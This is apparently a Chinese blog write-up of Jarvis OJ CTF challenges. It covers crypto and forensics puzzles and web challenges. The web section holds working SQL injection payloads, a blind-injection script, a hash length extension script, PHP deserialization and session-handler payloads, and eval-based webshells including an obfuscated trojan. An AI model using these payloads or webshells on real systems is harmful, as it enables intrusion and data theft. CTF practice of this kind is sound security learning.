Toc
  1. Basic部分(这部分直接从印象笔记里复制过来的,图片显示不了,懒得弄了)
    1. 握手包
    2. 德军的密码
    3. A Piece Of Cake
    4. Shellcode
    5. Help!!!
    6. 熟悉的声音
  2. Web部分
    1. PORT51
    2. Localhost
    3. Login
    4. 神盾局的秘密
    5. IN A Mess
    6. RE?
    7. flag在管理员手里
    8. Chopper
    9. Easy Gallery
    10. simple injection
    11. 图片上传漏洞
    12. phpinfo
    13. [61dctf]inject
Toc
0 results found
Rayi
Jarvis oj WriteUp
2019/05/06 WriteUp ctf

师哥推荐了个平台,之前挑了几个题做做,感觉还不错,这两天抽空把web认真做做吧。

Basic部分(这部分直接从印象笔记里复制过来的,图片显示不了,懒得弄了)

握手包

流量包密码破解,用到aircrack-ng
分析流量包.
4f64305d2770ac2552b0cbf206684691.png
利用字典爆破
a0e100fa6681869df41ab716c70f91e4.png
flag就是key

德军的密码

百度了一下,德军在二战的时候用过这种密码,利用了二进制的表示法来替代字母
具体的计算方法:七个七个一组,同秘钥进行异或运算

str_Key = "WELOMETOCFF"
bin_C = "0000000000000000000000000000000000000000000000000000101110000110001000000101000000001"
bin_Key = ""
for letter in str_Key:
    bin_Key += bin(ord(letter))[2:].zfill(7)
int_Key = int(bin_Key, 2)
int_C = int(bin_C, 2)
int_M = int_Key ^ int_C
bin_M = bin(int_M)[2:].zfill(84)
str_M = ""
for i in range(12):
    str_M += chr(int(bin_M[i*7:(i+1)*7], 2))
print(str_M)

A Piece Of Cake

词频分析,第一次遇到这种题
5b4ffa68f3586168facc335714bf0792.png
专用网站:
https://quipqiup.com/
c29bacb65e5140ffcacb1cd4e1ad7402.png
flag在此
分析不出来可以多换几个模式
56947a1ba46abb411e7d10422ea70f64.png

Shellcode

需要用到一个叫shellcode-master的工具
9dd751b8f760e9b273dd7a9e702e1aac.png

Help!!!

首先是zip伪加密
7c2632ca7825bd8838ff45c73ac9b2be.png
解压出来word文档,找不到flag
但是,word文档的本质也是个压缩包,后缀名改成zip,解压
117f8582eba661e220fea20b4e5be35d.png中找到两张图片,其中一张就有flag
ed5b14b613502ce52fd1ddd0c16e42d1.png
03175a2870c1fdb9654e09ebc67a6998.png

熟悉的声音

3306450bb5a6a4746a1dca3eab8694e9.png
一看就是摩斯密码
7cd14d8924c8dc1eff3d01ab7503654e.png
有两种翻译方法,但是只有一种没有标点符号,
JBLUWEWNZ
看着也不像flag啊,凯撒移位下试试
110ab76d086d887b6ecf73b375242518.png
正确

剩下那几个题先不写wp了


Web部分

PORT51

用到了工具curl,从本机的51端口去访问网站

curl --local-port 51 http://web.jarvisoj.com:32770/

PCTF{M45t3r_oF_CuRl}

Localhost

使用X-Forwarded-For伪造访问ip

X-Forwarded-For: 127.0.0.1

Login

一开始试了试万能密码,发现并不行,于是抓个包试试
在服务器返回的包中有个hint

Hint: "select * from `admin` where password='".md5($pass,true)."'"

md5(string,raw)
string:要计算的字符串
raw:可选,默认不写为FALSE。32位16进制的字符串。
TRUE。16位原始二进制格式的字符串
16进制字符串就跟咱们平时的MD5字符串相同
原始二进制字符串就可以看成hex转str出来的东西,跟在winhex右侧栏里见到的差不多
这个题要注入必定要构造’or’之类的形式,那么有没有某个字符串MD5加密后的原始字符串是这种形式的呢?
还真有
ffifdyop
MD5加密后是:276f722736c95d99e921722cf9ed621c
原始字符串是:’or’6?]??!r,??b(?是非打印字符
在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=’xxx’or’1xxxxxxxxx’
那么就相当于password=’xxx’ or 1 ,也就相当于password=’xxx’ or true,所以返回值就是true。
当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。)
所以,密码就是ffifdyop

神盾局的秘密

F12查看源码,发现showing.php可以读取文件源码


showimg.php?img=c2hpZWxkLmpwZw==

先把index.php和showing.php源码读取了再说,发现index.php里包含了shield.php,也读取了再说

index.php
<?php 
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>
shield.php
<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
        
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>
showimg.php
<?php
    $f = $_GET['img'];
    if (!empty($f)) {
        $f = base64_decode($f);
        if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
        && stripos($f,'pctf')===FALSE) {
            readfile($f);
        } else {
            echo "File not found!";
        }
    }
?>

提示说flag在pctf.php里,showimg.php这里对读取pctf.php做了限制,故这一部分的源码暂且不看,重点在index.php里,有一个反序列化。
类shield里的readfile函数可以读取文件,我们需要用它读取pctf.php。

<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
        
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
$x = new Shield;
$x -> file = 'pctf.php';
echo serialize($x);
//O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
?>

paylad:/index.php?class=O:6:”Shield”:1:{s:4:”file”;s:8:”pctf.php”;}

IN A Mess

连出题人自己都忘了flag放哪了,只记得好像很混乱的样子。

查看源码,注释里有index.phps,访问下看看
得到源码:


<?php

error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
        header('Location: index.php?id=1');
        exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))//查找 "." 在字符串中第一次出现的位置:
{
        echo 'Hahahahahaha';
        return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
        require("flag.txt");
}
else
{
        print "work harder!harder!harder!";
}


?>

id弱类型等于0,可以用字母绕过(id不能为0,为0第一个判断绕不过),a可以用php://input,获取post的值。b,关键是eregi用%00截断即可

得到一个目录,打开后发现应该是个sql注入

一通乱试后,发现好像过滤了union,select,检测空格。(头一次发现–+不好用了)

不知道为什么注释里必须加个东西。。。
知道表名是content了,查列吧。

?id=-1/*1*/ununionion/*1*/selselectect/*1*/1,2,group_concat(column_name)/*1*/frfromom/*1*/information_schema.columns/*1*/where/*1*/table_name=0x636F6E74656E74#

不知道为什么等号后面用’content’就不行。。

接下来查看字段

?id=-1/*1*/ununionion/*1*/selselectect/*1*/1,2,group_concat(id,context,title)/*1*/frfromom/*1*/content

得到flag

RE?

咦,奇怪,说好的WEB题呢,怎么成逆向了?不过里面有个help_me函数挺有意思的哦

原谅我一看到题就懵逼了,尝试用IDA打开,IDA崩了。。。
心情复杂.jpg
确定这是个我不会的题了。。。
百度谷歌一把梭!
万能的度娘告诉我,题目名就暗藏了提示,是个udf.so文件。

知识点
扩展MySQL函数—— UDF有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候,就需要对>MySQL进行一些扩展,使用者自行添加的MySQL函数就称为UDF(User Define Function)。

So,这个题的意思就是想让咱将udf导入,然后调用其中的函数得到flag?
本想用phpstudy的mysql的,但.so文件只适用于linux系统。。
好吧

[root@*]# mysql -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
mysql> select @@plugin_dir;
+-------------------------------+
| @@plugin_dir                  |
+-------------------------------+
| /mysql/lib/plugin/ |
+-------------------------------+
1 row in set (0.00 sec)

mysql> create function help_me returns string soname 'udf.so';
Query OK, 0 rows affected (0.00 sec)

mysql> select help_me();
+---------------------------------------------+
| help_me()                                   |
+---------------------------------------------+
| use getflag function to obtain your flag!!
 |
+---------------------------------------------+
1 row in set (0.00 sec)

mysql> create function getflag returns string soname 'udf.so';
Query OK, 0 rows affected (0.02 sec)

mysql> select getflag();
+------------------------------------------+
| getflag()                                |
+------------------------------------------+
| PCTF{Interesting_U5er_d3fined_Function}
 |
+------------------------------------------+
1 row in set (0.00 sec)

udf是mysql自定义函数包,udf.so用于linux系统,udf.dll用于windows系统
使用以下命令调用(先cp至插件文件夹(select @@plugin_dir)):

create function f_name returns string soname ‘udf.so’;

select f_name;

flag在管理员手里

只有管理员才能获得flag,你能想办法获得吗?

整个页面(包括查看源码)啥都没有,于是抓包试试

发现一个guest,难道改成Admin就完事了?
Emmmmm,怎么可能。
依旧什么都没发生
在这种什么条件都没有的情况下,是扫描器上场了!
果然扫出了备份文件index.php~

直接打开发现是一堆二进制数,估计是vim的交换文件
丢进linux里,用vim -r命令看下
果然,用vim恢复下吧
接下来就是看源码了

</head>

<body>
        <?php
                $auth = false;
                $role = "guest";
                $salt =
                if (isset($_COOKIE["role"])) {
                        $role = userialize($_COOKIE["role"]);
                        $hsh = $_COOOKIE["hsh"];
                        if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
                                $auth = true;
                        } else {
                                $auth = false;
                        }
                } else {
                        $s = serialize($role);
                        setcookie('role',$s);
                        $hsh = md5($salt.strrev($s));
                        setcookie('hsh',$hsh);
                }
                if ($auth) {
                        echo "<h3>Welcome Admin. Your flag is
                } else {
                        echo "<h3>Only Admin can see the flag!!</h3>";
                }
        ?>

</body>
</html>

原来那个hsh值也是有用的。
之前遇到过这种东西,叫哈希长度扩展攻击
哈希长度扩展攻击适用于加密情况为:hash($SECRET, $message)的情况,其中 hash 最常见的就是 md5、hash1。
我们可以在不知道$SECRET的情况下推算出另外一个匹配的值。
参考文章:

hash原理和hash长度扩展攻击

详解hash长度扩展攻击

以这个题为例,简单解释一下
第一次hash加密的时候,salt+身份信息1+补足(服务器自动补足),这三个部分拿去和第一个初始值一起进行一系列运算,得到返回在$hsh里的hash1。
第二次,我们要构造的时候,salt+身份信息1+补足(手动传入服务器)+身份信息2,这四个部分拿去加密,加密步骤是,前三个部分长度符合hash算法的要求,先进行一次运算,得到第一次加密中的hash1,然后再用hash1当做第二个初始值跟身份信息2进行加密运算,得到hash2。也就是说,hash2 = hash(hash1+身份信息2)
这就好说了,hash1我们是知道的,我们把hash1和身份信息2(也就是admin)拿去加密,得到的结果手动把补足+身份信息2传到服务器里让服务器加密得到的结果是一样的
所以,我们要传入服务器的东西有
role = 序列化后的admin+补足+序列化后的guest(注意有个strrev)
hsh = hash1+admin
具体的补足和hsh怎么算呢,交给hashpump吧
由于密钥的位数(salt的位数)不清楚,所以我们需要爆破(一开始我是一个一个试的。。。。)
脚本如下

# -*- coding: utf-8 -*-
import requests,hashpumpy,urllib
def webre(): #py2
    url = 'http://web.jarvisoj.com:32778/'
    sha = '3a4727d57463f122833d9e732f94e4e0'
    str0 = ';"tseug":5:s'
    str1 = ';"nimda":5:s'
    for i in range(20):
        digest, message = hashpumpy.hashpump(sha,str0,str1,i)
        payload ={'role':urllib.quote(message[::-1]), 'hsh':digest}#urllib.quote进行url编码
        print i,payload
        html = requests.get(url,cookies=payload).text
        if 'Welcome' in html:
            print html
        
webre()

Chopper

小明入侵了一台web服务器并上传了一句话木马,但是,管理员修补了漏洞,更改了权限。更重要的是:他忘记了木马的>密码!你能帮助他夺回控制权限吗?

一上来就是一把菜刀。。。还有一个点了也没什么用的管理员登陆按钮。。

查看源代码,发现这个图片是用一个php文件引用到网站里的。

<div class="container">
    <img src="proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg" alt="">
    <p><a href="admin">管理员登录</a></p>
</div>

那用这个连接读取admin目录试试
并不行,但是发现了一个hint,管理员的ip是202.5.19.128

用x-forwarded-for伪造了下ip,发现不行
忽然想到202.5.19.128这个ip有管理员权限,也就是说通过这个ip能读取admin目录,而我们自己的ip可以读取202.5.19.128
这不是远程文件包含嘛。。。(好像是这么叫的?)
所以我们这么读取就好了

http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/

果然成了,告诉我YOU’ARE CLOOSING

emmm,接下来又没可用条件了,上扫描器吧。。。

扫到了robots.txt,读取下看看

这个trojan.php应该是一句话,trojan.php.txt应该是源码
读取下试试
内容如下


<?php ${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));?>

执行下看看

密码是360
上菜刀

得到flag

“没有什么防护是一个漏洞解决不了的,如果有,那就…..”

看题目名称就知道了,应该是个文件上传的题
点进submit,诶,文件包含?

上传个一句话试试

GIF89a
<?php @eval($_POST['pc']);?>

得到文件id

利用文件包含访问下试试

发现会自动加上.php,用%00截断下
emmmmm…..
一句话并不管用,估计是被过滤了
在排除不是过滤eval等函数后,最终发现是过滤了<?php
改下我们的一句话吧

GIF89a
<script language="php"> @eval($_POST['pc']);</script>

什么命令都不用。。。就出flag了。。。诡异。。

simple injection

很简单的注入,大家试试?

之前不会盲注,特意去看了看sqli-lab,花了一晚上时间做出来了less8,写了个脚本,这才稍微弄明白点盲注
再看这个题,果然很简单
经过测试发现,用户名正确密码错误时会显示密码错误,都错误是会显示用户名错误
过滤了空格
因为当用户名为admin’/ / 1=1#时密码错误,admin’/ /1=2#时用户名错误,所以注入点在用户名处。

import requests

url = 'http://web.jarvisoj.com:32787/login.php'
payload = "admin'/**/and/**/ascii(substr((select/**/group_concat(password)/**/from/**/admin),{0},1))={1}#"
dic = '0123456789qwertyuioplkjhgfdsazxcvbnm'//这个地方最好还是用string模块,试下所有可打印字符
pd = ''
for i in range(50):
	for j in dic:
		j = ord(j)
		data = {'username':payload.format(i,j),'password':'123'}
		res = requests.post(url,data)
		if '密码错误' in res.text:
			pd += chr(j)
			print(pd)
			break

MD5解密得:eTAloCrEP

登陆即可得到flag

图片上传漏洞

请设法获取/home/ctf/flag.txt 中的flag值。(建议使用png文件上传)

先上传个普通的png图片,发现返回了图片上传的目录和名称
尝试了许多绕过,都失败了,于是乎求助于wp
exiftool添加信息错误,这个题先放一放吧

phpinfo

打开网页直接得到源码


<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');#ini_set设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。 
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

一开始看的时候没发现任何数据传入点,开头ini_set又不知道是什么,只能求助于万能的wp

php的session信息是储存在文件中的

  • session.save_path=”” 指定储存的路径
  • session.save_handler=”” 指定储存时使用的函数(默认是file)
  • session.auto_start boolen
  • session.serialize_handler=”” 定义序列化和反序列化的处理器的名字,默认是php(5.5.4后改为php_serialize)
    session.serialize_handler存在以下几种
    php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
    php 键名+竖线(|)+经过serialize()函数处理过的值
    php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化
    使用过程中如果想要修改,使用ini_set(‘session.serialize_handler’,’php_serialize’);但这里设置的handler如果和默认的不同,就会出问题

PHP Session中的序列化危害

PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:

$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';

上述的$_SESSION的数据使用php_serialize,那么最后的存储的内容就是

a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}

但是我们在进行读取的时候,选择的是php,那么最后读取的内容是:

array (size=1)
 'a:1:{s:6:"spoock";s:24:"' => 
 object(__PHP_Incomplete_Class)[1]
 public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)

这是因为当使用php引擎的时候,php引擎会以 | 作为作为key和value的分隔符,那么就会将
a:1:{s:6:”spoock”;s:24:”
作为SESSION的key,将
O:11:”PeopleClass”:0:{}
作为value,然后进行反序列化,最后就会得到PeopleClas这个类。

引用官方文档的内容当

session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。
这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。 通常这些键值可以通过读取INI设置来获得

接下来查看phpinfo,发现php版本是5.6.21,大于5.5.4,默认的handler是php_serialize,会出现上面所述的问题
在使用session_start()时会自动加载session文件中的值,因为在这里在__destruct方法中使用eval,所以只要在session文件中写入这个类,就能够执行代码?
但是我们如何将类写入session文件?
这就用到刚才提到的东西
查看phpinfo,
因为session.upload_progress.enabled=1,所以我们就可以post一个和session.upload_progress.name同名的变量,来使得我们上传的文件名写入session

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

序列化出payload

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
<?php
class OowoO
{
public $mdzz='xxxxx';
}
$obj = new OowoO();
echo serialize($obj);
?>

xxxxx替换为print_r(scandir(dirname( FILE)));,扫描目录
为防止转义,在引号前加上\。
因为这里是php handler,是以|开头的,所以在反序列化时会按照|来识别键值对而不是按照默认的php_serialize来识别session,所以我们将文件名前加上|
利用前面的html页面随便上传一个东西,抓包,把filename改为如下:
|O:5:\”OowoO\”:1:{s:4:\”mdzz\”;s:36:\”print_r(scandir(dirname( FILE)));\”;}

接下来就是去读取 Here_1s_7he_fl4g_buT_You_Cannot_see.php
由phpinfo可知当前的路径为/opt/lampp/htdocs/
将xxxxx改为
print_r(file_get_contents(“/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php”));
payload
|O:5:\”OowoO\”:1:{s:4:\”mdzz\”;s:88:\”print_r(file_get_contents(\”/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\”));\”;}

深入解析php中session反序列化机制

[61dctf]inject

先把源码找出来吧

听他的,先找源码,上脚本。

扫描出index.php~有源码泄露,下载,打开
源码如下

<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

这里有几个新知识点,第一个是desc语句,第二个是反引号`

  • desc
    这个语句不仅仅能倒叙排序查询结果,还能查询出表的结构,字段类型,主键,是否为空等属性
mysql> desc users;
+----------+-------------+------+-----+---------+----------------+
| Field    | Type        | Null | Key | Default | Extra          |
+----------+-------------+------+-----+---------+----------------+
| id       | int(3)      | NO   | PRI | NULL    | auto_increment |
| username | varchar(20) | NO   |     | NULL    |                |
| password | varchar(20) | NO   |     | NULL    |                |
+----------+-------------+------+-----+---------+----------------+
3 rows in set (0.00 sec)

但是多个表连起来查询的话就不会有结果,而是返回空

 mysql> desc users emalis;
Empty set (0.00 sec)

  • 反引号 ` 位于~号处

反引号是个神奇的东西,它原本的用处是区别保留字和普通字符
当某个数据库,表或者字段为保留字时,需要加上反引号与保留字做区分,例如创建一个表名为select的表时如果不加反引号直接create table select的话,就会报错
相反 ,加上后就可以创建一个表名为select的表了。

反引号也能起到类似注释以及其他的作用,例如

mysql> desc `emails` `user`;#没有user这个表
Empty set (0.00 sec)

mysql> desc `emails` `users`;
Empty set (0.00 sec)

mysql> desc `emails` `select`;
Empty set (0.00 sec)

只要第一组反引号中的表名存在,后面反引号中随便写都不会报错。

So,解题payload如下

payload: 
index.php?table=test` `union select user() limit 1,1 %23 
第一条语句拼接后 
> desc `secret_test` `union select user() limit 1,1 #`;
# Empty set 
只要第一组反引号中的表名存在,第二组反引号中随便写都不会报错。 
第二条语句拼接后 
> select 'flag{xxx}' from secret_test` `union select user() limit 1,1 #`; 
# ctf@localhost 
这里的反引号作用相当于空格 
index.php?table=test` `union select GROUP_CONCAT(schema_name) from information_schema.schemata limit 1,1 %23 
# 库名 61d300,information_schema,test
index.php?table=test` `union select GROUP_CONCAT(table_name) from information_schema.tables where table_schema=0x363164333030 limit 1,1 %23 
# 表名 secret_flag,secret_test 
index.php?table=test` `union select GROUP_CONCAT(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1 %23
# 字段名 flagUwillNeverKnow
index.php?table=test` `union select flagUwillNeverKnow from secret_flag limit 1,1 %23 
# flag{luckyGame~}

本文作者:Rayi
版权声明:本文首发于Rayi的博客,转载请注明出处!